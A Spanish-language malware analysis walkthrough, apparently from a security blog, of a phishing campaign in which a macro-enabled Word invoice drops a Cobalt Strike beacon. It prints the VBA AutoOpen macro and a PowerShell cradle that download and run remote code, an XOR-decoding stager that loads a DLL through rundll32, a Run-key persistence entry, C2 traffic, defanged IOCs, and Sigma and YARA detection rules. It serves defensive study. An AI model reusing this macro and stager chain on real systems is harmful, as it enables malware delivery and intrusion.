IntermediophishingCobalt Strikemacros VBAPowerShellMITRE ATT&CKanálisis de malware

Phishing con Macro Office a Cobalt Strike: Walkthrough Completo

Walkthrough completo de un ataque phishing con documento Word malicioso que descarga un Cobalt Strike beacon. Análisis del email, macro VBA, PowerShell cradle, beacon C2 y extracción de IOCs con mapeo MITRE ATT&CK.

MalwareIntel Research··11 min lectura
Serie: Casos de Uso — Parte 1

Escenario: el email que inicia todo

Son las 09:14 de un martes. El equipo SOC recibe una alerta de su gateway de correo: un usuario del departamento de contabilidad ha abierto un adjunto Word de un email que pasó los filtros antispam. El asunto del mensaje: "Factura pendiente de pago #INV-2026-4471".

El email proviene aparentemente de un proveedor conocido. La dirección del remitente es facturas@logistica-express[.]net, un dominio registrado hace 72 horas con datos de registro WHOIS privados. El cuerpo del mensaje contiene lenguaje profesional, referencias a pedidos reales (probablemente obtenidos de un compromiso previo) y un documento Word adjunto llamado Factura_INV-2026-4471.docm.

Este walkthrough sigue la cadena completa del ataque: desde el triaje del email hasta la identificación del beacon Cobalt Strike, con extracción de IOCs y mapeo ATT&CK en cada fase.

Fase 1: Triaje del email

Análisis de headers

El primer paso es examinar los headers del correo sin abrir el adjunto. Los campos relevantes:

Return-Path: bounce-7742@logistica-express[.]net
Received: from mail.logistica-express[.]net (185.234.72[.]91)
  by mx.empresa.local with ESMTPS id j7si3284712
Date: Tue, 03 Jun 2026 08:47:22 +0000
From: "Logistica Express - Facturacion" <facturas@logistica-express[.]net>
Subject: Factura pendiente de pago #INV-2026-4471
X-Mailer: Microsoft Outlook 16.0
DKIM-Signature: v=1; a=rsa-sha256; d=logistica-express[.]net; s=default;

Hallazgos inmediatos:

  • Dominio joven: logistica-express[.]net registrado hace 72 horas. Los proveedores legítimos no cambian de dominio.
  • IP de origen: 185.234.72[.]91 pertenece a un proveedor de hosting en Moldavia (AS49981). No coincide con la infraestructura del proveedor real.
  • DKIM válido: El atacante configuró DKIM para su dominio. DKIM solo confirma que el email salió de ese dominio, no que el dominio sea legítimo.
  • SPF pass: El registro SPF del dominio del atacante autoriza su IP. Otro control que solo valida consistencia, no legitimidad.

Análisis del adjunto (sin ejecución)

Antes de abrir el fichero, extraemos metadatos con file y calculamos hashes:

$ file Factura_INV-2026-4471.docm
Factura_INV-2026-4471.docm: Microsoft Word 2007+ (macro-enabled)

$ sha256sum Factura_INV-2026-4471.docm
a3f4b8c9d2e1f5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a0

$ ssdeep Factura_INV-2026-4471.docm
3072:kL5jN8qK2mP9rT4wX7zA3fH6iB0dG1eC:kLhN8K2mPrTwXzAfHiB0G1C

La extensión .docm confirma macros habilitadas. Un .docx legítimo no contiene macros.

Fase 2: Análisis de la macro VBA

Extracción con olevba

Usamos olevba del paquete oletools para extraer el código VBA sin ejecutar el documento:

$ olevba Factura_INV-2026-4471.docm

Resultado (simplificado):

Sub AutoOpen()
    Dim sCmd As String
    Dim oShell As Object
    
    sCmd = Chr(112) & Chr(111) & Chr(119) & Chr(101) & Chr(114) _
         & Chr(115) & Chr(104) & Chr(101) & Chr(108) & Chr(108)
    
    Dim sPayload As String
    sPayload = "IEX((New-Object Net.WebClient).DownloadString(" _
             & "'hxxps://cdn-static-assets[.]com/js/analytics.js'))"
    
    Set oShell = CreateObject("WScript.Shell")
    oShell.Run sCmd & " -w hidden -ep bypass -c """ & sPayload & """", 0, False
    
    Set oShell = Nothing
End Sub

Deobfuscación

La técnica de ofuscación es básica: Chr() para ocultar la cadena powershell. Decodificando:

Chr(112)=p, Chr(111)=o, Chr(119)=w, Chr(101)=e, Chr(114)=r,
Chr(115)=s, Chr(104)=h, Chr(101)=e, Chr(108)=l, Chr(108)=l
→ "powershell"

El comando completo que ejecuta la macro:

powershell -w hidden -ep bypass -c "IEX((New-Object Net.WebClient).DownloadString('hxxps://cdn-static-assets[.]com/js/analytics.js'))"

Indicadores de maliciosidad en la macro:

IndicadorDescripciónSeveridad
AutoOpen()Ejecución automática al abrir el documentoAlta
CreateObject("WScript.Shell")Creación de shell para ejecutar comandosAlta
Chr() concatenadoOfuscación de strings para evadir detecciónMedia
-w hiddenVentana de PowerShell oculta al usuarioAlta
-ep bypassEvasión de la política de ejecución de scriptsAlta
DownloadStringDescarga de código remoto para ejecución en memoriaCrítica

Indicadores adicionales con strings

$ strings -a Factura_INV-2026-4471.docm | grep -i "http\|powershell\|cmd\|shell"

Los resultados confirman las URLs y comandos identificados por olevba, más una segunda URL de fallback: hxxps://update-service-cdn[.]net/api/v2/check.

Fase 3: Ejecución en sandbox

Ejecutamos el documento en una VM aislada (Windows 10, host-only network, FakeNet-NG activo) con las siguientes herramientas de monitorización:

  • Procmon: captura de procesos, registro y sistema de archivos
  • Wireshark: captura de tráfico de red
  • FakeNet-NG: simulación de servicios de red (DNS, HTTP, HTTPS)
  • Process Hacker: árbol de procesos en tiempo real

Cadena de ejecución observada

WINWORD.EXE
  └─ cmd.exe /c powershell -w hidden -ep bypass -c "IEX(...)"
       └─ powershell.exe
            └─ rundll32.exe (inyección en proceso legítimo)

El árbol de procesos muestra la cadena típica: Word genera cmd.exe, que lanza PowerShell oculto, que finalmente inyecta código en rundll32.exe.

Eventos de Procmon relevantes

TimestampProcesoOperaciónPath / Detalle
09:14:02WINWORD.EXEProcess Createcmd.exe
09:14:03cmd.exeProcess Createpowershell.exe
09:14:04powershell.exeTCP Connect104.21.89[.]47:443 (cdn-static-assets[.]com)
09:14:05powershell.exeCreateFile%TEMP%\svchost_update.dll
09:14:05powershell.exeProcess Createrundll32.exe svchost_update.dll,DllMain
09:14:06rundll32.exeRegSetValueHKCU\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate
09:14:07rundll32.exeTCP Connect91.215.85[.]142:443

Fase 4: PowerShell download cradle

Descarga del stager

El script descargado desde cdn-static-assets[.]com/js/analytics.js no es JavaScript. Es un script PowerShell ofuscado:

# Deobfuscado:
$wc = New-Object System.Net.WebClient
$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)")
$wc.Headers.Add("Cookie", "session=YWRtaW4tcGFuZWw=")

$bytes = $wc.DownloadData("hxxps://cdn-static-assets[.]com/img/logo.png")

# XOR decode con clave 0x3F
$decoded = @()
for ($i = 0; $i -lt $bytes.Length; $i++) {
    $decoded += $bytes[$i] -bxor 0x3F
}

# Escribe DLL a disco
$path = "$env:TEMP\svchost_update.dll"
[IO.File]::WriteAllBytes($path, [byte[]]$decoded)

# Ejecuta via rundll32
Start-Process rundll32.exe -ArgumentList "$path,DllMain" -WindowStyle Hidden

Técnicas empleadas en el stager:

  1. Descarga disfrazada: El payload se sirve como imagen PNG (extensión .png, Content-Type manipulado).
  2. XOR simple: Clave de un byte (0x3F) para evadir detección por firmas estáticas.
  3. Living off the Land: Usa rundll32.exe (binario legítimo de Windows) para cargar la DLL maliciosa.
  4. User-Agent legítimo: Imita un navegador real para evadir detección basada en user-agent.

Hash del payload decodificado

SHA256: e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8
MD5:    9a8b7c6d5e4f3a2b1c0d9e8f7a6b5c4d

Fase 5: Cobalt Strike beacon analysis

Identificación del beacon

La DLL descargada (svchost_update.dll) es un Cobalt Strike beacon. Lo confirmamos con múltiples indicadores:

Análisis estático de la DLL:

$ file svchost_update.dll
PE32+ executable (DLL) x86-64

$ strings svchost_update.dll | head -20
# Resultado: pocas strings legibles (típico de beacon empaquetado)

$ diec svchost_update.dll
# Detect It Easy: empaquetado con sección .data de alta entropía (7.89)

Extracción de configuración con CobaltStrikeParser:

$ python3 parse_beacon_config.py svchost_update.dll

Configuración extraída:

BeaconType:        HTTPS
Port:              443
SleepTime:         60000    # 60 segundos
MaxGetSize:        1048576
Jitter:            37       # 37% variación
C2Server:          91.215.85[.]142,/api/v2/status
UserAgent:         Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
HttpPostUri:       /api/v2/submit
SpawnTo_x86:       %windir%\syswow64\rundll32.exe
SpawnTo_x64:       %windir%\sysnative\rundll32.exe
PipeName:          \\.\pipe\msagent_f8
Watermark:         305419896
DNS_Idle:          0.0.0.0

Indicadores clave del beacon

CampoValorSignificado
C2Server91.215.85[.]142IP del servidor de comando y control
SleepTime60000 msEl beacon contacta al C2 cada 60 segundos
Jitter37%Variación aleatoria del sleep (38-82 segundos)
Watermark305419896Identificador de licencia (puede ser crackeada)
PipeName\\.\pipe\msagent_f8Named pipe para comunicación lateral (SMB beacon)
SpawnTorundll32.exeProceso legítimo donde inyecta código

Fase 6: Comunicación C2

Tráfico de red capturado

Con Wireshark y FakeNet-NG, capturamos el patrón de comunicación:

Fase de check-in (GET):

GET /api/v2/status HTTP/1.1
Host: 91.215.85[.]142
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Cookie: PHPSESSID=aGVsbG8gd29ybGQgdGhpcyBpcyBub3QgcmVhbA==
Accept: text/html,application/xhtml+xml
Connection: keep-alive

Fase de exfiltración (POST):

POST /api/v2/submit HTTP/1.1
Host: 91.215.85[.]142
Content-Type: application/octet-stream
Content-Length: 4821
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36

Indicadores de red del beacon:

  • JA3 fingerprint: 72a589da586844d7f0818ce684948eea (conocido como Cobalt Strike JA3)
  • JA3S fingerprint: ae4edc6faf64d08308082ad26be60767
  • Patrón de URIs: Paths tipo API REST (/api/v2/status, /api/v2/submit)
  • Cookie sospechosa: Base64 en la cookie PHPSESSID (datos exfiltrados codificados)
  • Intervalos: Conexiones cada 38-82 segundos (sleep 60s + jitter 37%)

Persistencia establecida

El beacon creó una clave de registro para persistencia:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  Nombre: WindowsUpdate
  Valor:  rundll32.exe C:\Users\<user>\AppData\Local\Temp\svchost_update.dll,DllMain

IOCs extraídos

Indicadores de red

TipoValorContexto
IPv4185.234.72[.]91Servidor SMTP del phishing
IPv4104.21.89[.]47Hosting del stager (CDN)
IPv491.215.85[.]142Servidor C2 Cobalt Strike
Domainlogistica-express[.]netDominio del phishing
Domaincdn-static-assets[.]comHosting del stager
Domainupdate-service-cdn[.]netURL de fallback
URLhxxps://cdn-static-assets[.]com/js/analytics.jsDownload cradle
URLhxxps://cdn-static-assets[.]com/img/logo.pngPayload XOR
JA372a589da586844d7f0818ce684948eeaFingerprint TLS del beacon

Indicadores de host

TipoValorContexto
SHA256a3f4b8c9d2e1f5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a0Documento Word malicioso
SHA256e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8DLL Cobalt Strike beacon
File%TEMP%\svchost_update.dllBeacon en disco
RegistryHKCU\...\Run\WindowsUpdatePersistencia
Named Pipe\\.\pipe\msagent_f8Comunicación lateral SMB
User-AgentMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36UA del beacon
MutexGlobal\msagent_mtx_f8a92bMutex del beacon

Mapeo MITRE ATT&CK

IDTécnicaTácticaEvidencia en este caso
T1566.001Spearphishing AttachmentInitial AccessEmail con documento Word malicioso
T1204.002User Execution: Malicious FileExecutionUsuario abre el .docm y habilita macros
T1059.001PowerShellExecutionDownload cradle PowerShell oculto
T1059.005Visual BasicExecutionMacro VBA con AutoOpen
T1027Obfuscated Files or InformationDefense EvasionChr() en macro, XOR en payload
T1140Deobfuscate/Decode FilesDefense EvasionXOR decode del payload PNG
T1218.011Rundll32Defense EvasionCarga de beacon via rundll32.exe
T1055Process InjectionDefense EvasionInyección en proceso legítimo
T1547.001Registry Run KeysPersistenceClave Run para persistencia
T1071.001Web ProtocolsCommand and ControlHTTPS C2 con beacon Cobalt Strike
T1573.002Asymmetric CryptographyCommand and ControlTLS 1.2 para cifrar comunicación C2
T1029Scheduled TransferExfiltrationDatos exfiltrados en intervalos regulares

Lecciones aprendidas

Para el equipo SOC

  1. Dominio joven como indicador primario: Un dominio registrado hace menos de 7 días que envía documentos con macros es casi siempre malicioso. Implementar reglas en el gateway de correo para retener adjuntos de dominios con menos de 30 días de antigüedad.

  2. Macros en 2026 siguen funcionando: A pesar de los controles de Microsoft (MOTW, bloqueo por defecto), los usuarios siguen habilitando macros cuando el pretexto es convincente. La formación en concienciación debe incluir ejemplos específicos del sector.

  3. Living off the Land complica la detección: El uso de PowerShell, rundll32.exe y claves de registro legítimas hace que la detección basada en procesos sea insuficiente. Se necesita correlación de eventos: Word genera cmd.exe que genera PowerShell con -ep bypass es anómalo.

  4. JA3 como indicador de Cobalt Strike: Los fingerprints JA3/JA3S son indicadores de alta fidelidad para detectar beacons, incluso cuando el tráfico HTTPS no se puede descifrar.

Para el equipo de detección

Regla Sigma para la cadena de ejecución:

title: Office Application Spawning Suspicious Process Chain
id: e4a7b8c9-d2e1-4f5a-b6c7-d8e9f0a1b2c3
status: experimental
description: Detects Office spawning cmd/powershell with bypass flags
logsource:
    category: process_creation
    product: windows
detection:
    selection_parent:
        ParentImage|endswith:
            - '\WINWORD.EXE'
            - '\EXCEL.EXE'
            - '\POWERPNT.EXE'
    selection_child:
        Image|endswith:
            - '\cmd.exe'
            - '\powershell.exe'
            - '\pwsh.exe'
    selection_flags:
        CommandLine|contains:
            - '-ep bypass'
            - '-executionpolicy bypass'
            - '-w hidden'
            - '-windowstyle hidden'
            - 'DownloadString'
            - 'DownloadFile'
    condition: selection_parent and selection_child and selection_flags
    level: high

Regla YARA para el stager PowerShell:

rule CobaltStrike_PowerShell_Stager {
    meta:
        description = "Detects PowerShell download cradle for CS stager"
        author = "MalwareIntel Research"
        date = "2026-06-06"
    strings:
        $s1 = "DownloadString" ascii
        $s2 = "DownloadData" ascii
        $s3 = "-bxor" ascii
        $s4 = "WriteAllBytes" ascii
        $s5 = "rundll32" ascii nocase
        $s6 = "-w hidden" ascii
        $s7 = "-ep bypass" ascii
    condition:
        3 of ($s*)
}

Acciones de contención realizadas

  1. Aislamiento del endpoint: Desconexión de red inmediata del equipo afectado.
  2. Bloqueo de IOCs: IPs y dominios añadidos a listas de bloqueo en firewall y proxy.
  3. Búsqueda de impacto: Correlación en SIEM para identificar otros usuarios que recibieron el mismo email.
  4. Reset de credenciales: Cambio de contraseñas del usuario afectado y revisión de accesos laterales.
  5. Preservación de evidencia: Imagen forense del disco y volcado de memoria antes de remediar.

Recursos

  • oletools (olevba): Herramienta para extraer y analizar macros VBA. Disponible en PyPI: pip install oletools.
  • CobaltStrikeParser: Extrae configuración de beacons Cobalt Strike. Repositorio de Sentinel One en GitHub.
  • JA3/JA3S: Fingerprinting TLS para detección de C2. Proyecto original de Salesforce en GitHub.
  • SigmaHQ: Repositorio de reglas Sigma para detección en SIEM. Regla proc_creation_win_office_spawn_exe_from_temp.yml.
  • MITRE ATT&CK Navigator: Para visualizar el mapeo de técnicas de este caso. Disponible en attack.mitre.org/navigator.
  • ANY.RUN: Sandbox interactiva para ejecutar documentos maliciosos. Permite observar la cadena de ejecución en tiempo real.

Los IOCs presentados en este artículo son ficticios pero realistas, diseñados con fines educativos. Los patrones de ataque, técnicas y herramientas de detección son aplicables a incidentes reales con cadenas de ataque similares.

Preguntas frecuentes

Artículos relacionados

Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.